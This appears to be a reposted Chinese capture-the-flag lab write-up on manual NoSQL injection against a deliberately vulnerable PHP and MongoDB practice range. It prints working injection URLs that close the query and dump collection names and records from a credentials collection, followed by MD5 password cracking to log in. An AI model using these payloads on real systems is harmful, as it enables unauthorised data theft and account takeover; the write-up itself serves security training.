NOSQL MongoDB 注入——本质上还是和sql注入是类似的

Posted 将者,智、信、仁、勇、严也。

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了NOSQL MongoDB 注入——本质上还是和sql注入是类似的相关的知识,希望对你有一定的参考价值。

墨者学院 - SQL手工注入漏洞测试(MongoDB数据库)

SQL手工注入漏洞测试(MongoDB数据库)

背景介绍

安全工程师"墨者"最近在练习SQL手工注入漏洞,自己刚搭建好一个靶场环境nginx+php+MongoDB,PHP代码对客户端提交的参数未做任何过滤。尽情的练习SQL手工注入吧。

附上源代码截图:

未标题-1.jpg

实训目标

1.掌握SQL注入原理;
2.了解手工注入的方法;
3.了解MongoDB的数据结构;
4.了解字符串的MD5加解密;

解题

手工进行SQL注入测试,获取管理密码登录。

 

# 查看是否有注入点
http://ip/new_list.php?id=1\'

# 想办法闭合语句,查看所有集合
# db.getCollectionNames()返回的是数组,需要用tojson转换为字符串。并且mongodb函数区分大小写
http://ip/new_list.php?id=1\'}); return ({title:tojson(db.getCollectionNames()),2:\'1

类似语句:

 select SCHEMA_NAME from information_schema.SCHEMATA

 

# 查看Authority_confidential集合的第一条数据
http://ip/new_list.php?id=1\'}); return ({title:tojson(db.Authority_confidential.find()[0]),2:\'1

类似语句: 

select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=\'Authority_confidential\' 

# 查看Authority_confidential集合的第二条数据
http://ip/new_list.php?id=1\'}); return ({title:tojson(db.Authority_confidential.find()[1]),2:\'1

 

得到用户名密码,密码用md5解密

登陆,获得key

以上是关于NOSQL MongoDB 注入——本质上还是和sql注入是类似的的主要内容,如果未能解决你的问题,请参考以下文章

从零学习 NoSQL 注入之 Mongodb

NoSQL 注入

NoSQL 注入

NoSQL 注入

MongoDB 中的 JavaScript NoSQL 注入预防

Nosql注入